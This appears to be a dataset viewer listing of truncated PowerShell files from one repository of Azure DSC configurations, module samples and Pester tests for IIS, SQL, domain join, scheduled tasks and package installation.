[Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string] $domain,
[string] $AppName,
[string] $SampleAppLoca... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/IIS-WEB-BIZ.ps1 | IIS-WEB-BIZ.ps1 | Configuration DemoIIS
{
param
(
[Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string] $domain,
[string] $AppName,
[string] $SampleAppLocation,
[... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/SQL.ps1 | SQL.ps1 | Configuration DemoSQL
{
param
(
[Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string] $domain,
[string] $AppName,
[string] $SampleAppLocation,
[... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/IIS-BIZ.ps1 | IIS-BIZ.ps1 | Configuration DemoIIS
{
param
(
[Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string] $domain,
[string] $AppName,
[string] $SampleAppLocation,
[... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/SQLAO-First.ps1 | SQLAO-First.ps1 | Configuration DemoSQL
{
param
(
[Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string] $domain,
[string] $AppName,
[string] $SampleAppLocation,
[Parameter(Mandatory=$true)] [V... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/IIS.ps1 | IIS.ps1 | Configuration DemoIIS
{
param
(
[Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string] $domain,
[string] $AppName,
[string] $SampleAppLocation,
[... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/AD-Others.ps1 | AD-Others.ps1 | configuration DemoAD2
{
param
(
[Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string] $domain,
[string] $AppName,
[string] $SampleAppLocation,
[... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/SQLAO-Second.ps1 | SQLAO-Second.ps1 | Configuration DemoSQL
{
param
(
[Parameter(Mandatory=$true)] [ValidateNotNullorEmpty()] [string] $domain,
[string] $AppName,
[string] $SampleAppLocation,
[Parameter(Mandatory=$... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xDatabase/1.4.0.0/Examples/Sample_xDBPackage.ps1 | Sample_xDBPackage.ps1 | configuration DbBackup
{
param
(
[PSCredential]$Credentials,
[Parameter(Mandatory)]
[ValidateNotNullOrEmpty()]
[String]$DatabaseName,
[Parameter(Mandatory)]
[ValidateNotNullOrEmpty()]
[String]$SqlServer,
[Parameter(Mandatory)]
... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xDatabase/1.4.0.0/Examples/Sample_xDatabase.ps1 | Sample_xDatabase.ps1 | $assemblylist = "Microsoft.SqlServer.Dac.dll",
"Microsoft.SqlServer.Smo.dll"
$sqlpsreg110="HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.SqlServer.Management.PowerShell.sqlps110"
$sqlpsreg100="HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.SqlServer.Management.PowerShell.sqlps"
... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xDatabase/1.4.0.0/Tests/MSFT_xDatabase.Tests.ps1 | MSFT_xDatabase.Tests.ps1 | $here = Split-Path -Parent $MyInvocation.MyCommand.Path
$leaf = Split-Path -Leaf $MyInvocation.MyCommand.Path
$source = "..\DSCResources\$($leaf.Split(".")[0])\$($leaf -replace ".Tests.ps1$",".psm1")"
$testParameter = @{
Ensure = "Present"
SqlServer = "localhost"
SqlServerVersion = "2014"
Datab... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xComputerManagement/1.7.0.0/Examples/Sample_xScheduledTask.ps1 | Sample_xScheduledTask.ps1 | configuration Sample_xScheduledTask
{
param
(
[string[]]$NodeName = 'localhost'
)
Import-DSCResource -ModuleName xComputerManagement
Node $NodeName
{
xScheduledTask MaintenanceScriptExample
{
TaskName = "Custom maintenance tasks"
Action... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xComputerManagement/1.7.0.0/Examples/Sample_xOfflineDomainJoin.ps1 | Sample_xOfflineDomainJoin.ps1 | configuration Sample_xOfflineDomainJoin
{
param
(
[string[]]$NodeName = 'localhost'
)
Import-DSCResource -ModuleName xComputerManagement
Node $NodeName
{
xOfflineDomainJoin ODJ
{
RequestFile = 'C:\ODJ\ODJBlob.txt'
IsSingleInstance = 'Ye... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xComputerManagement/1.7.0.0/Tests/Unit/MSFT_xScheduledTask.Tests.ps1 | MSFT_xScheduledTask.Tests.ps1 | [Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingConvertToSecureStringWithPlainText", "")]
param(
)
$Global:DSCModuleName = 'xComputerManagement'
$Global:DSCResourceName = 'MSFT_xScheduledTask'
#region HEADER
# Unit Test Template Version: 1.1.0
[String] $moduleRoot = Split-Path -Parent... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xComputerManagement/1.7.0.0/Tests/Unit/MSFT_xComputer.Tests.ps1 | MSFT_xComputer.Tests.ps1 | $Global:DSCModuleName = 'xComputerManagement'
$Global:DSCResourceName = 'MSFT_xComputer'
#region HEADER
[String] $moduleRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $Script:MyInvocation.MyCommand.Path))
if ( (-not (Test-Path -Path (Join-Path -Path $moduleRoot -ChildPath 'DSCResource.T... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xComputerManagement/1.7.0.0/Tests/Unit/MSFT_xOfflineDomainJoin.tests.ps1 | MSFT_xOfflineDomainJoin.tests.ps1 | $Global:DSCModuleName = 'xComputerManagement'
$Global:DSCResourceName = 'MSFT_xOfflineDomainJoin'
#region HEADER
[String] $moduleRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $Script:MyInvocation.MyCommand.Path))
if ( (-not (Test-Path -Path (Join-Path -Path $moduleRoot -ChildPath 'DSCR... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xComputerManagement/1.7.0.0/Tests/Integration/MSFT_xScheduledTask.Integration.Tests.ps1 | MSFT_xScheduledTask.Integration.Tests.ps1 | #Requires -Version 5.0
$Global:DSCModuleName = 'xComputerManagement'
$Global:DSCResourceName = 'MSFT_xScheduledTask'
#region HEADER
# Unit Test Template Version: 1.1.0
[String] $moduleRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $Script:MyInvocation.MyCommand.Path))
if ( (-not (Test... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xComputerManagement/1.7.0.0/Tests/Integration/MSFT_xScheduledTask.Config.ps1 | MSFT_xScheduledTask.Config.ps1 | Configuration xScheduledTask_Add
{
Import-DscResource -ModuleName xComputerManagement
node "localhost" {
xScheduledTask xScheduledTask_Add {
TaskName = "Test task"
TaskPath = "\xComputerManagement\"
ActionExecutable = "C:\windows\system32\WindowsPowerShell\v1.0... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xPSDesiredStateConfiguration/3.11.0.0/DSCResources/MSFT_xPackageResource/Examples/Sample_InstallMSIProductId_xPackage.ps1 | Sample_InstallMSIProductId_xPackage.ps1 | <#
Simple installer that installs an msi package and matches based on the product id.
#>
param
(
[String]$OutputPath = ".",
[parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[String] $PackageName,
[parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[String] $S... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xPSDesiredStateConfiguration/3.11.0.0/DSCResources/MSFT_xPackageResource/Examples/Sample_InstallExeCreds_xPackage.ps1 | Sample_InstallExeCreds_xPackage.ps1 | <#
Simple package that installs an .exe using credentials to access the installer and specifying RunAs Credentials.
#>
param
(
[String]$OutputPath = ".",
[parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[String] $PackageName,
[parameter(Mandatory = $true)]
[ValidateNo... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xPSDesiredStateConfiguration/3.11.0.0/DSCResources/MSFT_xPackageResource/Examples/Sample_InstallMSI_xPackage.ps1 | Sample_InstallMSI_xPackage.ps1 | <#
Simple installer for an msi package that matches via the Name.
#>
param
(
[String]$OutputPath = ".",
[parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[String] $PackageName,
[parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[String] $SourcePath
)
Conf... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xPSDesiredStateConfiguration/3.11.0.0/DSCResources/MSFT_xPackageResource/Examples/Sample_InstallExeCredsRegistry_xPackage.ps1 | Sample_InstallExeCredsRegistry_xPackage.ps1 | <#
Simple package that installs an .exe using credentials to access the installer and specifying RunAs Credentials.
This sample also uses custom registry data to discover the package.
#>
param
(
[String]$OutputPath = ".",
[parameter(Mandatory = $true)]
[ValidateNotNullOrEmpty()]
[String] $... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xPSDesiredStateConfiguration/3.11.0.0/DSCResources/MSFT_xPackageResource/Tests/MSFT_xPackageResource.Tests.ps1 | MSFT_xPackageResource.Tests.ps1 | #requires -Version 4.0
Remove-Module MSFT_xPackageResource -ErrorAction Ignore
$module = Import-Module $PSScriptRoot\..\MSFT_xPackageResource.psm1 -Force -PassThru -ErrorAction Stop
Describe 'Get-MsiTools' {
It 'Uses Add-Type with a name that does not conflict with the original Package resource' {
... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xPSDesiredStateConfiguration/3.11.0.0/DSCResources/MSFT_xProcessResource/Samples/Sample_xWindowsProcess_EnsureAbsentWithCredential.ps1 | Sample_xWindowsProcess_EnsureAbsentWithCredential.ps1 | Configuration Sample_xWindowsProcess_EnsureAbsentWithCredential
{
param
(
[pscredential]$cred = (Get-Credential)
)
Import-DSCResource -ModuleName xPSDesiredStateConfiguration
Node localhost
{
xWindowsProcess Notepad
{
Path = "C:\Windows\System32\Not... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xPSDesiredStateConfiguration/3.11.0.0/DSCResources/MSFT_xProcessResource/Samples/Sample_xWindowsProcess_ArgumentsWithCredential.ps1 | Sample_xWindowsProcess_ArgumentsWithCredential.ps1 | Configuration Sample_xWindowsProcess_ArgumentsWithCredential
{
param
(
[pscredential]$cred = (Get-Credential)
)
Import-DSCResource -ModuleName xPSDesiredStateConfiguration
Node localhost
{
xWindowsProcess powershell
{
Path = "C:\Windows\System32\Win... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xPSDesiredStateConfiguration/3.11.0.0/DSCResources/MSFT_xProcessResource/Samples/Sample_xWindowsProcess_WithCredential.ps1 | Sample_xWindowsProcess_WithCredential.ps1 | Configuration Sample_xWindowsProcess_WithCredential
{
param
(
[pscredential]$cred = (Get-Credential)
)
Import-DSCResource -ModuleName xPSDesiredStateConfiguration
Node localhost
{
xWindowsProcess Notepad
{
Path = "C:\Windows\System32\Notepad.exe"
... |
PowerShellCorpus/Github/smithr17_AzureCLI/0-Common/DSC/xPSDesiredStateConfiguration/3.11.0.0/Examples/Test_Sample_xArchive_CompressMultipleDirs.ps1 | Test_Sample_xArchive_CompressMultipleDirs.ps1 | $zipFilePath = "$pwd\Target.zip"
del "$pwd\SourceDir-1" -Force -Recurse -ErrorAction SilentlyContinue
del "$pwd\SourceDir-2" -Force -Recurse -ErrorAction SilentlyContinue
New-Item $pwd\SourceDir-1 -Type Directory | Out-Null
New-Item $pwd\SourceDir-1\Sample-1.txt -Type File | Out-Null
New-Item $pwd\SourceDir-... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.